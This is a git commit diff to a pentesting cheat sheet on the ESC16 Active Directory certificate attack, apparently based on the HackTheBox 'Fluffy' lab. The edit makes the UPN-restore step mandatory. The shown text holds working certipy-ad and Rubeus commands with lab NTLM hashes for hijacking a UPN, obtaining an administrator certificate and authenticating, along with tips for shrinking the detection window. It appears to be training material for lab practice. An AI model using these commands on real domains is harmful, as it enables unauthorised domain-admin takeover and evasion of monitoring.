commit ee04540e21f550713f99d8551d5ef5c01b7aaaf5
parent 1e70f0a36f0e844b00e4b3b26813f0225ec38763
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Mon, 14 Sep 2026 05:55:51 +0100
feat: small update
Commit-Date: 2026-09-14T05:55:51+01:00
Commit-Host: omarchy
Diffstat:
1 file changed, 16 insertions(+), 8 deletions(-)
diff --git a/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md b/src/content/sheets/active-directory/esc16-security-extension-disabled-on-ca-globally.md
@@ -143,7 +143,7 @@ The attack is a **4-step chain**: read + hijack the UPN → request the cert as
>
> **When one account is enough:** if a single account can *both* enroll *and* have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have `GenericWrite` over that also enrolls), use it for every step and the `-u` is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a *different* principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc.
>
-> **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. And the restore itself is optional for *success*: `administrator.pfx` is valid forever regardless (see Step 3). Restore only for cleanup and to shrink the rapid-4738 detection window.
+> **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. The **restore in Step 3 is not optional**, though: `certipy auth` fails with `KDC_ERR_CLIENT_NAME_MISMATCH` until the controlled account stops squatting the victim's UPN (see Step 3). The `.pfx` stays valid regardless; the *auth* does not work until you restore.
***
@@ -163,8 +163,8 @@ certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af48
-dc-ip $TARGET -user ca_svc -upn administrator update
```
-> [!warning] Do Step 2 immediately
-> The UPN swap is a live AD change. Request the cert right away, then restore in Step 3 to avoid breaking `ca_svc` auth or tripping detection.
+> [!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4
+> The UPN swap is a live AD change. Request the cert right away, then **restore in Step 3 before you authenticate** — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking `ca_svc` auth and shrinks the detection window.
***
@@ -180,15 +180,19 @@ certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
***
-### Step 3 — Restore the UPN (clean up / avoid breaking auth)
+### Step 3 — Restore the UPN — REQUIRED before you authenticate
```bash
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
-dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update
```
-> [!tip] The cert stays valid
-> Restoring the UPN does **not** invalidate `administrator.pfx` — the identity is locked in at signing time. You keep a working admin cert.
+> [!danger] This is not just cleanup — Step 4 FAILS without it
+> While `ca_svc` still holds `userPrincipalName = administrator`, the cert's UPN `administrator` maps **to ca_svc**, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with:
+> ```
+> [-] Name mismatch between certificate and user 'administrator'
+> ```
+> which is the KDC returning `KDC_ERR_CLIENT_NAME_MISMATCH`. **Restore the UPN first**, so nothing else claims `administrator`; the KDC then falls back to the built-in Administrator's `sAMAccountName` and the auth maps correctly. The `.pfx` itself never expires from this — restoring does **not** invalidate it (identity is locked in at signing) — but the *authentication* will keep failing until you restore. Order is fixed: swap → req → **restore** → auth.
***
@@ -305,7 +309,11 @@ certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn
# 3. Enroll as EVILPC$ in a template it can enroll in
certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
-# 4. Auth
+# 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim)
+certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update
+# (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete)
+
+# 5. Auth
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
```
@@ -362,7 +370,7 @@ Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /
│
│ certipy account -user ca_svc -upn ca_svc@fluffy.htb update
▼
-[UPN restored — clean] ← cert still valid forever
+[UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever
│
│ certipy auth -pfx administrator.pfx
▼